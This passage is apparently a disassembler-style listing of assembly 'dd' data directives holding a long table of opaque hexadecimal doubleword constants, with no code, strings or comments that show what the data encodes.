0F26CB303h dd 0CD83E41h, 67DD1D00h, 934E2370h, 11A2006h, 0F68A6E4h dd 0FAD8DE52h, 68E7C561h, 0B6704021h, 4727FA0h, 0F4C85A54h dd 399D1600h, 4A755435h, 0B48050CDh, 485A0013h, 292C038Dh dd 0F700EF51h, 95068EA5h, 946DAh, 706D049Ch, 9FB273A1h dd 1124A200h, 84CC79FEh, 6BB50017h, 7D3C39B1h, 151FAA90h dd 86004DEBh, 29F16A44h, 0C8130016h, 3418533h, 0F3013FABh dd 76A01D6Eh, 0EED5528Dh, 879CD8h, 0EA1E4E46h, 0A84A672Ch dd 7760BF00h, 0FD86A181h, 9A3501B6h, 0AB4BE05Ah, 0B730809Eh dd 42F20363h, 0AA43094Fh, 0F600D0F0h, 813470E6h, 0C7BD8400h dd 656B2E67h, 7D2939BCh, 36A09303h, 0E0004563h, 2B38EE72h dd 20E368h, 8C831C70h, 0E0C6E654h, 4CC87400h, 0C3CCD41Fh dd 36300015h, 0E7BBB1A2h, 883FC611h, 0C0FE300Eh, 3C402955h dd 0FF1EFAD1h, 0A1F98h, 9A885BA5h, 7C58524Eh, 9FF303FBh dd 0E8EE5CD6h, 74A3622h, 12A85640h, 0F8AC2071h, 0BD383806h dd 346C0093h, 7EAFC21Ah, 0A3170021h, 374F8750h, 0CF7A7262h dd 0D0A72E07h, 0AD06D55h, 0F265F27Ch, 140AB0CEh, 0A08781F0h dd 0EDC13800h, 0AA61EBAh, 72FECE9h, 0FE8DD001h, 21B9A49Ah dd 0C3FD5880h, 0AB47B64Bh, 3FD36100h, 8A4033ADh, 0F948002Fh dd 9F4F150h, 9AFC9CB0h, 0B139CDECh, 4056B0A9h, 17BDB79h dd 0BC016935h, 204EDFF5h, 0D600CDF0h, 0D786473Fh, 3732B6h dd 8083894Dh, 5D213554h, 74F1A000h, 0BC066C1Dh, 7AA31C1Eh dd 668BCECDh, 0FE1FAA80h, 0A707F8EFh, 12B0E30Ch, 2009CFCFh dd 4A41E997h, 50866180h, 0DCEF4B58h, 0E201B288h, 87AF1C75h dd 9DECE0DFh, 18DEEC2Fh, 306AEE41h, 3C004A52h, 740156E1h dd 51D7820h, 512B8260h, 7AB08169h, 9ECDD0D7h, 0BA88C07h dd 27505FBBh, 7C589724h, 964A18C2h, 687718E5h, 32A26B00h dd 0E166C013h, 40BD410Dh, 19747ABAh, 30693703h, 6B08C8h dd 4E9FDE58h, 0A8E34B0Ah, 0ECF7B000h, 673AFE0Ch, 0F286001Ah dd 395C3595h, 36145169h, 0FEB5919h, 0EE827CDDh, 2C73EA3Dh dd 0AABC4800h, 7B73EFAh, 0B56043F1h, 23A67E1Fh, 0AB009990h dd 102A0AFDh, 0CCCA916h, 0C9B04D1h, 9C12791h, 2ADE259Eh dd 0E0FBA371h, 3965147h, 27168665h, 0E190F159h, 5F079EC9h dd 1C09BE52h, 5AF6C2B1h, 537A4180h, 89846B37h, 0AB146400h dd 0BD954765h, 1A263D13h dd 82487C00h, 0AD7B1C0h, 0AE161C1Eh, 80D9E0CBh, 0CF99F5C8h dd 27A705F3h, 448A232Fh, 97E424h, 0DFE08145h, 48BA05AAh dd 6A528AFh, 0B96585B8h, 0F29B938h, 0E0C3F5E7h, 0C1B8D6E4h dd 492600D5h, 900DD166h, 5E0068AFh, 147BFEF7h, 6E41CD0Fh dd 0EF43405Ah, 0F6C14BA6h, 5FD9800Ah, 0DD02729h, 8840021h dd 0B77385E6h, 0A6005D58h, 0C68C1E81h, 4DDE932h, 0BDB3A5ABh dd 8D288022h, 1F3B86DEh, 80DF39E6h, 55ABE51Eh, 5D5FCE1h dd 0E25B2C0Fh, 0F64A804Ch, 0F400DEF3h, 0D6DFE6CEh, 42AE49h dd 8C188DECh, 30E7710Bh, 62C2D20Eh, 0E599787Dh, 7F37036Eh dd 0EE28EF50h, 9877F2C0h, 0DE8CCE54h, 446E6C01h, 63F7BFE1h dd 76593981h, 0FC7F7957h, 0B500738Dh, 1E34FEF1h, 79774B37h dd 414D005Ah, 25A9AB58h, 5F006A8Fh, 0F16E7692h, 0F9205Bh dd 9E5231C2h, 72FFED57h, 7A64F00h, 0A1A54585h, 18F0A4h dd 0AFDA7A12h, 0B27727D8h, 16BAA900h, 0F72F9A07h, 0F1EC0344h dd 0D9408FA4h, 0C8C05CEBh, 6A052EF8h, 940B63E0h, 500CB3C0h dd 0AECF0097h, 0D15D535Fh, 0A300666Ah, 0D67BF756h, 6D44A2h dd 23B6A608h, 7C5F3A0Dh, 4169AB1Fh, 0D4400100h, 92673FBh dd 6B09889Ah, 2EB00C00h, 2F1C56CEh, 0FA0068F1h, 0F3BE40BFh dd 558E0126h, 636A71ADh, 0E6A3E0F2h, 83C0613Ch, 0DA7627Eh dd 1144A83Bh, 4C0F00FFh, 3FF4898Bh, 3816AD67h, 0E004636h dd 47F85045h, 545B0083h, 0AE6417D1h, 96E4F334h, 3A00117Bh dd 4988ABE0h, 25E0C06h, 8E677429h, 0D1F05009h, 0B5DB9A00h dd 93E5282Bh, 0C3C10FECh, 5BA05398h, 1DE499A8h, 0C20075E6h dd 93B2C669h, 1A15B3h, 9805CE6Ah, 3B41AB34h, 0D0AE800h dd 0D07C6FAEh, 527F00F1h, 1362394Dh, 0BA00A584h, 855B3F47h dd 7305E2FAh, 0C8A70A34h, 945A9Bh, 0C24B0869h, 0B260C68h dd 4C00FAB2h, 7A5230ADh, 536FADFh, 0BD12FF5Bh, 0EB2D80CEh dd 9E002FA4h, 1C7CCF4Bh, 0A9C0A7h, 0CE34AC82h, 65613E47h dd 0D1CA3804h, 0F886F539h, 0C5080E88h, 88E02441h, 1BC30D62h dd 7E36FB00h, 0F807469h, 671600E2h, 0BDD69578h, 0B303D09Dh dd 8EFE1AACh, 0C936D854h, 3418007Ch, 0DB7AFF3Dh, 0F80F42D8h dd 0E074306Eh, 0F50C888Dh, 0A0ED0054h, 0D881C189h, 1AB8938Eh dd 1A454E00h, 7E614A5h, 0C64D00C3h, 130C5B3h, 66F8A9EDh dd 9801057Fh, 0B1B9DDFCh, 0BDD49351h, 0CAA40079h, 33AC4C73h dd 0E6EE3AABh, 32CBD71Fh, 0B3185980h, 78FB71B5h, 0CE1D1E35h dd 0C06AD533h, 966D1400h, 0AD453F82h, 8204CC3Eh, 647F56EEh dd 38E07DCAh, 0FB006DBBh, 0ACD6BA6Bh, 44744Dh, 0FD08A04Eh dd 0BEE012A5h, 0F3479700h, 9AB061C8h, 0BB8A00D4h, 0F542FFD7h dd 9C384B87h, 0B418083h, 3F58B3C3h, 6A60079h, 29361202h dd 0EE0039A7h, 0DB2AD910h, 0B71A22h, 20A2567Fh, 0B190019Bh dd 37458700h, 24E9ABBEh, 0E599007Ah, 74400D5Ch, 0DB001513h dd 87B8644Ch, 472402h, 434B2791h, 3C458C78h, 20106F67h dd 2B8FFA90h, 21760048h, 0A812A7E8h, 62016BC7h, 0D5064CF2h dd 0B4217488h, 0E1C587DCh, 0E2FFBD4h, 17208D4h, 20029849h dd 2E226Dh, 0CE54255Ah, 4479C4h, 8D1CED79h, 6D076EB2h dd 23EC721Dh, 93474C00h, 95E75Ah, 0C6E9B6E2h, 9E505F9Dh dd 3C005D7Bh, 0D19761CFh, 1C9BE398h, 1B12AEh, 3809D971h dd 0FD009C4Fh, 48DB9D06h, 0C4549Fh, 5EC40C1h, 0D301D6B8h dd 3E008DE6h, 0D1EA905Fh, 0E97203h, 7A9F7C56h, 59D6D94Eh dd 4C4DFD00h, 0C3D3189Eh, 12230001h, 7210AFA3h, 0E3B6DB4h dd 0C077805Bh, 0FCE9E5B2h, 4B1C0099h, 0ACCAE636h, 1E5282F5h dd 78030780h, 0E90F21Fh, 0E2E57624h, 4D7C1CBDh, 5BFD8323h dd 48986CE0h, 0A8001653h, 5621990Ah, 1F0956Ah, 35BD1B2Dh dd 0B8DAFB39h, 89500080h, 96FF8A42h, 7F3D1FBBh, 65430015h dd 0C69413B6h, 61C5551Fh, 5EE78980h, 50D045Ah, 6AAFC22Ah dd 0F41D8251h, 7150FE0h, 5C8F7B00h, 0D3244396h, 0E38B0145h dd 9296F65h, 4710609Fh, 7E01187Ah, 0E8E8715h, 96EC4CF3h dd 243948E2h, 8330D280h, 4E0046DEh, 5D9BCA2Dh, 0C08B58A5h dd 4944E720h, 38EE5735h, 955E6118h, 43F3D18h, 0C4DB75FEh dd 0C21A80B8h, 3A002BB3h, 7E43EBDEh, 1F1D10D3h, 16EC5E0h dd 0A48A29A3h, 0D2F4FCD6h, 4A5F4200h, 22BE3A83h, 623E00B5h dd 2F02DC0Eh, 8B071DE9h, 0D0AEFBC4h, 0D6086850h, 47E40E33h dd 0ED405A97h, 738B626h, 0F9A0E51Eh, 0AF0D06C0h, 0D662C9h dd 0B22B9BB7h, 0ABAC0A9Ch, 850E3902h, 0DDB0EDF5h, 0FD8AD080h dd 8D007758h, 0D49CC926h, 72ADABEh, 0A3CFBDCAh, 0A7FB30E9h dd 7E009610h, 0F83DB5B6h, 0F6CCB66h, 18D0BF0Bh, 2980D1CBh dd 0E14D27DFh, 88AC4B03h, 80EDA016h, 0F0520E8h, 0BE5B1770h dd 0B3907C0h, 0E600DAB8h, 1D3CDD80h, 2CA86645h, 9C8203h dd 0F784484h, 3F09D7F5h, 8E6D873Dh, 0EC6C0130h, 9FF8C413h dd 8549009Dh, 7810F07Bh, 31008492h, 0AB5631Ah, 0A03CD333h dd 5E6FA9h, 96E468C6h, 0A4AE59F2h, 0DC1A6600h, 8C333CE1h dd 0FA873848h, 3C2C793h, 0AB302B0h, 6FAA5BD8h, 24627D09h dd 3BD4870Bh, 0C84DB1E3h, 3F5632FCh, 648141D3h, 837AAE99h dd 955560F9h, 0B7000CB0h, 0B505EF44h, 7420298Ah, 54B100CCh dd 71C7F79Eh, 6700700Bh, 3A464718h, 0B9D260h, 7D9F213Dh dd 74319954h, 5997020Eh, 733A278Fh, 0B72BA0B0h, 0AEBF00C1h dd 58E64E94h, 0E1F0A97Fh, 8A0027EEh, 4B51C35Dh, 2FD8103h dd 7EC0605Fh, 1080DB45h, 0CCBEB030h, 803CE83Dh, 42B19F60h dd 3C62AC1Dh, 0C90B2317h, 1E239B8Bh, 60DF9216h, 0CF8EB59Eh dd 490F1398h, 8F856013h, 0CACC81A6h, 1DB5AAAh, 627B2230h dd 0E0BEB41Ah, 0CF7DA11Dh, 50B6B830h, 2B59D9h, 85FE16F6h dd 0ED8627ADh, 565CCC00h, 0E726A469h, 2348C0B4h, 0EBAD1572h dd 0A38EA10Bh, 2026A16Bh, 9530BF18h, 425300D7h, 54D20676h dd 0B55C1EB9h, 0AB9860D0h, 170621Bh, 0B081D540h, 0EC9295CAh dd 0FC000D91h, 1C1D7251h, 715CF3h, 951E491Ah, 1F6F2940h dd 887EFA00h, 4A6ED678h, 0C4010920h, 5B03C2BFh, 0A6A8996Ch dd 51017845h, 0A5758B50h, 0DDE435ECh, 0E0240067h, 0F34ACD0Dh dd 1B5C1C8Eh, 9C080195h, 9102F092h, 6D90C0C6h, 35D358CCh dd 6AFB0079h, 0D7D13F88h, 38E2840Dh, 0CD5DA000h, 0DB315015h dd 653524CCh, 49F40104h, 0D0D68C36h, 0E400FC24h, 41A0420Bh dd 0F5A7B31h, 0C7A34DF5h, 4534FFC0h, 0C903B6B3h, 854FE15Bh dd 0A07B73h, 0FBE696B9h, 0A42CCAFh, 13D8150Fh, 38B703C6h dd 801CD837h, 93A71E9Ah, 8389410Bh, 0C8C29029h, 0B200D2E8h dd 1345E5D4h, 129117h, 4B0AD57Eh, 4E7139F6h, 22005A78h dd 0A177AABBh, 7E75D8h, 0D1DAC6C8h, 0DC05624Ch, 4A012679h dd 0A4922313h, 0B8FD39DDh, 0B13470h, 0A809969h, 3DAD74CFh dd 96B6400h, 0EC3A5DFCh, 0C010F875h, 3867F628h, 4600492Eh dd 7A87D99Dh, 0F8F435Fh, 0ADD72D4h, 0B82E1EECh, 219D1D07h dd 9970DB06h, 608B78h, 356E1531h, 71EE12C6h, 0F60093E0h dd 0AB94D23Fh, 3033692Eh, 0DCA9DFEBh, 0BA7ABFA0h, 0E0D5ED00h dd 0A277ACB2h, 0D7EB31A3h, 0C4088790h, 0F6002837h, 0A1C9737Bh dd 0EAA59Dh, 19CE7D76h, 0F712830Bh, 35003C77h, 1E47A0DDh dd 491BAh, 0C786B9C1h dd 380E3EECh, 5307B400h, 1A8F58B5h, 0E47F003Ah, 0D319C55Dh dd 0B700A1DCh, 375F98F0h, 3F57CD9h, 65556C58h, 5AC89134h dd 0B900E49Eh, 4CA7811h, 0EFBC45h, 0DE8CF2D3h, 0EA159173h dd 52AD9200h, 0FDD2231h, 71C3FDCh, 4E765C09h, 0D6C68055h dd 286941F3h, 9C03F61h, 0BA99F21Bh, 46131400h, 0CD00BF7Eh dd 14510F7Dh, 726F25C3h, 0F03F008Fh, 29F41FF2h, 0B0000AA2h dd 69D49659h, 554C4E2h, 0A32AD98Eh, 8980EBC5h, 0F73BB5h dd 78E3CF47h, 68A54AB4h, 0B6437900h, 570F5404h, 76B3016Bh dd 73A462B1h, 0AA35E0CDh, 4AEE601h, 0ABB6A1E8h, 0F05DFC70h dd 2D9324A5h, 96640020h, 4850A6B8h, 92F1C001h, 0D5382534h dd 0A88F46F8h, 0FD31C8h, 9ABD87A1h, 0CF1D5E8Eh, 1D889E4Ch dd 93802D3Dh, 192BCC8Ch, 0A5EA56h, 7142981Dh, 8B4BD4FAh dd 10EA9F07h, 0EC09BF5h, 4DEE6Bh, 563974BEh, 57DBBBC3h dd 0AD07B100h, 0BF389AB0h, 0EB67010Bh, 0ABF04F3Bh, 0CCFC60DDh dd 0E06FC000h, 0A5CE4D01h, 0C5B032Dh, 8E4066D5h, 0F87AD1B8h dd 9DC1070Ch, 4BB8E5h, 312E672Fh, 0FE50BC9Ch, 0ECBAA40Ch dd 7665990h, 32F868C3h, 92535722h, 8C803975h, 0D2E5B15Dh dd 0B4482660h, 3B7198h, 0AD315EAh, 7AAC38F4h, 89134D12h dd 54957302h, 8FE0C09Ch, 72D50006h, 0D81B3B22h, 0D71CC7ADh dd 99DC67CFh, 0C6ABA5C0h, 309CE5EAh, 6960118Fh, 8600FFCCh dd 8C8BF858h, 5784Bh, 0C1C65167h, 0EBA51B04h, 79BFEC1Fh dd 18FA6F40h, 0A802354Fh, 6EF0D0h, 646A4509h, 0E003B7A3h dd 2708E0FFh, 0EFB920C0h, 7FC0C9h, 0AD733EABh, 77DE3F75h dd 0DDD73Dh, 16A4F7B7h, 1674E60h, 7CC2D28Bh, 0E49FCADEh dd 5E90CBD9h, 0DBF74A00h, 0E234F678h, 36630035h, 98C00407h dd 640074AEh, 0E568C21Fh, 5C2EC112h, 0E04968Eh, 902B44A1h dd 0CF93F618h, 6DB2E200h, 2619608Ch, 8372F2h, 7A057003h dd 8113527Ch, 87B9F600h, 0B6381882h, 64345864h, 53A00500h dd 36E2BA6Ch, 0C6F3BF00h, 0AFB026FBh, 0C2791FDCh, 0EBB3C3AAh dd 40F70CBEh, 4A5C1DBCh, 0A2BB7700h, 49129E59h, 0F1C1E78h dd 0AF9C63h, 37F376E5h, 0D00D193h, 0EF4C198Ah, 0EAD56Ch dd 913B0639h, 0A5796FE1h, 82F44B02h, 89B63C52h, 714280ECh dd 7E0FF3h, 0C69A1A89h, 9D6AAE45h, 58220600h, 7AB11215h dd 0F6B43EC3h, 0CF2EAEh, 7ED36DD9h, 160F9E49h, 8036DBC0h dd 50C54398h, 0E89B02E0h, 837571F8h, 110038E4h, 0BB0613F3h dd 9935690h, 0DD368029h, 317EB083h, 202EDE99h, 0F4038460h dd 25E99A9Dh, 77FAB8FEh, 0D1FF4C48h, 4EB52807h, 1999D0A5h dd 6CB81604h, 3000F1FAh, 53CA6486h, 133BE494h, 113DE59h dd 2438D66Dh, 45B46012h, 6D026104h, 40907C06h, 2ED6797Ah dd 1BC931h, 0E0635DC0h, 7C00F187h, 0D94119F9h, 9EC70Bh dd 0A93F4588h, 0DCAD55ECh, 0C8D8CC01h, 0CE0619BEh, 0EA60C20h dd 8F74F260h, 5C8B8940h, 0C3070494h, 0A34E9721h, 75E93D50h dd 0FE180091h, 0C5DB661Bh, 10009A8h, 0D51776FBh, 0B06AE7h dd 0ED495EE5h, 1005A756h, 0F5D71400h, 0E0E47944h, 0DCFD0036h dd 0C65FB334h, 0B131BD1h, 2900A263h, 0F7EBC3AAh, 7C195887h dd 47FBBE00h, 74CAC113h, 0BBE5CD00h, 0DF99265Dh, 0CBB8A0B2h dd 5F9749Ah, 7533D4B5h, 4349322h, 209D6191h, 60C0C5DCh dd 15A1140Fh, 0CF19007Dh, 8E2C8FFCh, 0D800BC97h, 0E98ADC38h dd 903CA658h, 28950278h, 0B6892DB2h, 0F169C46h, 1400F19Ah dd 550AFB3Ch, 0E6700027h, 6399DC46h, 33DC64Eh, 0EE2A0254h dd 8C6EFC01h, 0B206FEh, 0F252A965h, 4EA6785Bh, 47E3Dh dd 146CCFEh, 2ABB966Ch, 1FC368Ah, 3599F8Fh, 80216E63h dd 0EF89A190h, 56CDF9h, 0AA1C9E1Dh, 1AF32084h, 9B7E0D00h dd 8EB3E24Dh, 6EB712FCh, 1300115h, 8069D96Dh, 8DE85F44h dd 1302A4ACh, 0CA278Fh, 0D7B74320h, 7B00E5E2h, 7622216Dh dd 7812035Eh, 39BD9081h, 2F0069BFh, 0C001F687h, 0A606AAD8h dd 9B7DA982h, 34F054h, 7AA4F172h, 26F5762Fh, 32487C00h dd 0EC5E9A0Ch, 69710077h, 0A88050C6h, 421FD0A5h, 0FA00FB3Dh dd 7437A703h, 0C9E40029h, 2C1BE221h, 17FA809Bh, 0A618E002h dd 40CA6552h, 181166CEh, 0C8CD906Ah, 0D2007212h, 0DC91D42h dd 90F34C6h, 5377553Dh, 0F28E4700h, 5E77D54Bh, 7EF8A100h dd 0B4890797h, 3C77A0h, 6FF9210Ch, 0BAE7B7E2h, 6C29AC00h dd 7987DDEAh, 0F8431F16h, 5BB5C0F5h, 9CCF153Bh, 45B34C00h dd 303F8410h, 1A970F2Dh, 5900BCE4h, 89521EEBh, 0DEB6C42Ch dd 39E6CA00h, 145CD976h, 28442228h, 0C6B12005h, 0E8C00082h dd 0EA8ABEABh, 7F197C14h, 0A3D600A8h, 0ACDAA533h, 188D3E58h dd 5C782C01h, 806CBB5Eh, 7E813B38h, 8035AEh, 0BF4D188Bh dd 1F7898Dh, 0B08F3A00h, 0E63FCEA6h, 9F0B00FCh, 38B99BEBh dd 0A9F480ABh, 0CE08CF48h, 1050A07Dh, 0E14C3117h, 6D246081h dd 0DC84C0F1h, 0C7073065h, 20B0B4A2h, 0EEB09627h, 48B35ED1h dd 220FE9A9h, 0A2C90C9Ah, 0C6852B80h, 72005FC2h, 9E281821h dd 3DF86CC7h, 6008B6Bh, 937F6D64h, 0A00B7DFh, 30E2D36Ah dd 49B440h, 2C0E374Ch, 0BD2635DEh, 62FE9700h, 7AF2EEECh dd 4A7929h, 3403A52Bh, 0B8F4BA9Dh, 0AC51B300h, 1CEEE405h dd 12B71EF9h, 338B002Dh, 5B7DE624h, 34DD5Ch, 204EC872h dd 905E6Eh, 6CB0141Ah, 8F6B2D9Fh, 0FC002E7Bh, 9C18318Bh dd 1708E6h, 8C4BAC19h, 0BF5B5756h, 139E9B00h, 0C1515598h dd 7A42164Ch, 5F490037h, 7657CF9Ch, 6B688512h, 649BBC40h dd 4C2EB13Bh, 0E307A06Ah, 0B322F48Fh, 64045D7Bh, 0F5E412D5h dd 7D0ED89Bh, 84204AF3h, 37286718h, 618A9207h, 0FFD798B7h dd 0ECC22B50h, 7BD21EAAh, 4118C3BEh, 89907A1Eh, 6512E9ADh dd 6E014B03h, 0D69ADBA5h, 942B424h, 0FABCC130h, 7CE3F000h dd 20FAA82Fh, 0F3832708h, 56140008h, 0AFF777CEh, 0F41E9F1Fh dd 9DBD6A80h, 3CD603F8h, 0FE007A5Bh, 4C62E179h, 0AE00BC0Bh dd 21948BE6h, 184F57Eh, 4F976C04h, 0D8101B93h, 0EC004054h dd 459C3552h, 0F87CE703h, 0FF6009A0h, 49836A02h, 4CB0DCB6h dd 0A23A4B4Ah, 0CC9F80FEh, 571B0DE6h, 5351ED0h, 9DE9006Fh dd 131EDF58h, 8C1CD17Ah, 280C42Bh, 0D56A6485h, 0C7EC00F6h dd 0B5130F54h, 3800FD55h, 6742B898h, 39CC1DC4h, 5A809D4Bh dd 1F19D765h, 0CB01138Ah, 519B496Eh, 0C3D0F3B0h, 1DC903C8h dd 0D90A045h, 4A1C8B88h, 7E04D177h, 12BBC009h, 2C26EAC0h dd 58030E1Fh, 9C27CA13h, 39E372FBh, 0BE60B3E2h, 32005748h dd 0C77F69AAh, 553B70h, 9C99D3A2h, 272FE456h, 732D03Bh dd 7D5B6589h, 0FF4CF303h, 0E9B11413h, 2081D644h, 35B53848h dd 0C503EC11h, 0E885CECAh, 189BA800h, 132EBB40h, 4127FB5Ah dd 696BEE4h, 2B6AF44Ch, 6C5EFE00h, 7320AF0h, 5CCB4CC8h dd 47721278h, 0C0C4081h, 840A86EBh, 18853E00h, 24B4E926h dd 0C4603E8Eh, 4137BE80h, 0CBA138F8h, 5EBC718h, 0C33938h dd 0E97AFF06h, 7175D9FBh, 7CBAEA00h, 71109ADh, 3841F7FDh dd 0C8099592h, 26074ACh, 1D847508h, 40791871h, 43820F7h dd 0AEE9D90Fh, 8D4C000Fh, 3899192Fh, 310F5A88h, 3A60E06Dh dd 8766F38Eh, 2498E41Eh, 728F745h, 351B1C0h, 8D7512C7h dd 0EED3009Ch, 6068E0EAh dd 5894A514h, 8B6100DBh, 9EDF4FAFh, 647B30EFh, 6D656656h dd 14BB9D00h, 737AF953h, 0D6750038h, 6A99C840h, 5B00BF27h dd 8C586864h, 7D57C7h, 2D816B1Dh, 0CF3FB5B6h, 0D8A7552Dh dd 0F1F600A5h, 5486D13Eh, 8FF626BEh, 4DD66D00h, 0FBC1CD33h dd 4CCA00B2h, 0E2C7363Ch, 0ED3DEF0Bh, 0B3F85B98h, 9933B701h dd 0F0D95F25h, 522874B3h, 8301A468h, 0BBD5B238h, 0C7FD12F3h dd 3FD013E5h, 7120C76Ah, 0D463A0FAh, 2C7152E1h, 337AE3Dh dd 5F32962Bh, 85169106h, 9D81D8h, 13B5B857h, 0BDF73499h dd 0DDCECB01h, 0F1D30CF8h, 0F9E495D1h, 9E2EC47h, 5AD6F67Fh dd 82E36CA5h, 20403C6Dh, 7202852Eh, 5CB93316h, 86F8A0F9h dd 1D9B3166h, 0D8AAF746h, 0D91187Dh, 0B4119000h, 35FD2CECh dd 0A5F500D8h, 137605E9h, 0BE04433Fh, 0F8FF2241h, 0C0F03890h dd 0C05D7157h, 620CD1A8h, 0F9608360h, 0E53EB118h, 50DB00CBh dd 0ED660B90h, 20C05D1Ah, 9E6D0C87h, 48E260FCh, 0ED417AE1h dd 91BF0A01h, 18E872F8h, 3B0CD8D3h, 1EC303F0h, 0DC824556h dd 0C76A0DF0h, 0FA0AED79h, 0A04736F7h, 0A99F7A00h, 1ACA1BBh dd 6637E2FEh, 30C0CEBAh, 0A6006C20h, 95476F38h, 0E4BE467Fh dd 0D4753D3Eh, 43325F80h, 0D61F5EC7h, 506F3Bh, 23A89C59h dd 13B6E3h, 0F98B083h, 8429A2E0h, 0DAB72400h, 0AC77E14Ah dd 0A6C5003Fh, 597496A4h, 0B5749BC8h, 5790D200h, 98FE6BAEh dd 69780154h, 915B956Ch, 0A24FD43Ah, 0E851B600h, 0F790652Ch dd 3FD758CDh, 0F4810F38h, 0B0B50CD6h, 63C8709Eh, 4084301h dd 0BFCBB927h, 0B34AE8h, 1249E4EEh, 0A23CD7E0h, 9D048CE8h dd 3485805Dh, 101FB6F8h, 0C44780E3h, 66E4FBA5h, 0D8836107h dd 2740659Ch, 5F2B386h, 13F54EC0h, 0CEDB0B56h, 470039D4h dd 15BED3C5h, 0FBBF3C79h, 250BA980h, 89E8903Ch, 700517Dh dd 4FE3578Fh, 0BAC295h, 0D71D44BCh, 710870F8h, 5218A361h dd 0D5F04582h, 6BE2008Eh, 20A1C8D2h, 4A03C40Dh, 40919068h dd 5B28F884h, 8B701848h, 0B99FA042h, 75181201h, 2CFF1CEDh dd 0F1F78457h, 0C7BE9EC0h, 69CCFD0Dh, 0C2F4009Ah, 0C03A9C39h dd 2B00DF83h, 1F285B2Ch, 0BB71AFh, 0BC854026h, 36B49B2h dd 0CD2BCF0Fh, 0B42880AAh, 7CA0622h, 84691DA2h, 12F993F7h dd 0B24196B8h, 0D32EEA1Eh, 0D2261E70h, 4FBD001Ah, 0D84D1E79h dd 49071B5Fh, 0EADEFEBCh, 0D2903311h, 0E125E70h, 65C67CF0h dd 790FF5E0h, 0A2009DE4h, 45C402D0h, 3AE6E46h, 2489505Fh dd 4E88D96Ch, 0F60EC186h, 0AD6468h, 0F47321Ch, 0A5850055h dd 54896D8Dh, 0AC0043FAh, 0E828E9C9h, 0E0A414h, 0CDFF9194h dd 0E29AEC70h, 0E4BE72Ch, 0E4DEDC00h, 7941E1E8h, 0B8170075h dd 0EA733BB6h, 9D007CEBh, 30915C85h, 3946C1D9h, 0CA805B9Eh dd 7ACB8D62h, 9700DDDCh, 8B6EF13Fh, 2D708Ch, 9B092FBh dd 2395348Dh, 0B83BF80Fh, 0F5072028h, 0B4EC44h, 9B603CA1h dd 0C035D656h, 535DB31Fh, 0CF2CE941h, 0CAE8F5C2h, 4F61005Eh dd 44EF99FCh, 9F0E49ACh, 9615DC6Dh, 0CF970C00h, 0C76BF0h dd 65B2319Eh, 6F7DD9FAh, 0E42A4A00h, 46BBEEBDh, 0CD630096h dd 1AB09105h, 200E2D15h, 403BE688h, 98F007C5h, 0B99B00C2h dd 0CC0D43FDh, 0AC015BF3h, 0A687B6EEh, 808021DCh, 0D53012D6h dd 0C902366h, 5A69A714h, 0C0F601D4h, 0C640F7E6h, 39C32CCh dd 80E56890h, 64D8FC55h, 421D2956h, 2B401F2Ah, 0AC7011F9h dd 1CBFCDBh, 0AACE57BAh, 0C36BDF87h, 604897CBh, 47FB00B5h dd 26085A45h, 0F4513BC3h, 754BB003h, 0DEE08E4Dh, 0DC00BC83h dd 0BEBD6E45h, 2CB587h, 158DD70Ch, 0F5922052h, 0F3ABB300h dd 80A8EE6Ah, 55755Ah, 46549D7Eh, 0D72396B4h, 2CDDBF1Fh dd 0D807D2C0h, 704E65AEh, 7490A9h, 0A3B406BEh, 6C86298Fh dd 6A573203h, 806FD249h, 0C0B1E789h, 5B7EFFB0h, 0F576CC80h dd 1334DA00h, 622C729Eh, 0B61C0949h, 2003E395h, 60E87DF5h dd 4300F7C7h, 6D3E0717h, 0C45EBh, 0C2202BF9h, 0B08A2E6Eh dd 0FE74E00h, 0AB0A2AEFh, 0B1EC00FEh, 0E4242707h, 75011932h dd 3A72A1F7h, 0C9D0AF30h, 6B871EFEh, 9ED0C00Eh, 1232B69h dd 0A697BB1Dh, 0F6370FCCh, 8CBD549Ch, 3CF873EFh, 2081A8C3h dd 0C97DC809h, 82A44021h, 4077B8FDh, 81DDD53Dh, 0CF87AC60h dd 208122FAh, 5193716Eh, 3C0020E7h, 0EF6A500h, 5F204409h dd 58AE00C3h, 314B9B29h, 0CC1FE9AAh, 6A80138Bh, 0C091DE87h dd 422512CFh, 0CB160053h, 38E6C88Ah, 0DD3FCA1Fh, 165144C0h dd 380254ADh, 0F9037D78h, 4DD3C1F2h, 53AFAED8h, 75E34704h dd 1C909D77h, 13E27Fh, 5961DE44h, 2C67F370h, 878D5000h dd 0C68B1C3h, 0DC9D0473h, 0C0FC9684h, 932B5CD5h, 0BCE25E00h dd 0BE405B56h, 0B41B0059h, 1699D263h, 8B486BE9h, 0C47E008Dh dd 4A9CCFFFh, 31759034h, 0FAE8F772h, 2F57CC1Eh, 1A00B67Ah dd 1DDCF94h, 7828988Eh, 9317014Fh, 682FC5BBh, 0DCD4D81Bh dd 0CB727F07h, 6B0887Ch, 0C6A50F5h, 712AB8DDh, 970FD418h dd 40BC9BD3h, 83015C4h, 0E0A10074h, 0ADD11C24h, 0E9004DA8h dd 0F4B1602h, 7233A5Eh, 9BE3BAFAh, 0CB429027h, 0B8012D87h dd 16701056h, 8060E7CAh, 446000E4h, 0E28BE8A8h, 0D30091B9h dd 2CC6BD42h, 600E1590h, 923A3029h, 7B00FDFBh, 37C72410h dd 0FA7D75Eh, 0BD5D694Eh, 0EBA6D600h, 3500D25Ch, 0D57B58B4h dd 58D0Ah, 82FD2A1Fh, 0A15CC788h, 91745109h, 0BAAC01D0h dd 61C8967Ch, 18C81450h, 0DD009001h, 0E5D6B25Ch, 0A7E288FCh dd 0F469A00h, 0C3CD0DBh, 8C860084h, 0DF4A3969h, 0AE0055F7h dd 4DAFED43h, 0FD430C0h, 0A9AD2088h, 21B01000h, 0DA0BA681h dd 76C9BFEh, 0A70E244Ch, 9FD03BF2h, 0C84C07h, 0A927D4D3h dd 0AE18CCA2h, 0ADFB7300h, 0F96F811Bh, 4B21013Bh, 8A13114Fh dd 0DBFEE0CDh, 0E1025A75h, 54AA3406h, 50C04051h, 0DFA10040h dd 7AEB5E16h, 5C3ECDDBh, 46D71FCFh, 8022C644h, 5DC2C497h dd 349481CAh, 983097CEh, 0FACC003Dh, 42379985h, 24000CA9h dd 0F29F3909h, 4E8F2Bh, 2DBE936Ah, 68BB7ABDh, 45DC2A2Eh dd 8BFF3000h, 9248F8h, 7BDE758h, 68E84AEBh, 8EF29600h dd 1F157CE9h, 1E4E017Ah, 7288ED67h, 0F59FDC4Ch, 96A66001h dd 0C25B40D0h, 0EECBF8h, 68C83D73h, 9C2018CFh, 49A8F507h dd 0D4A06DC0h, 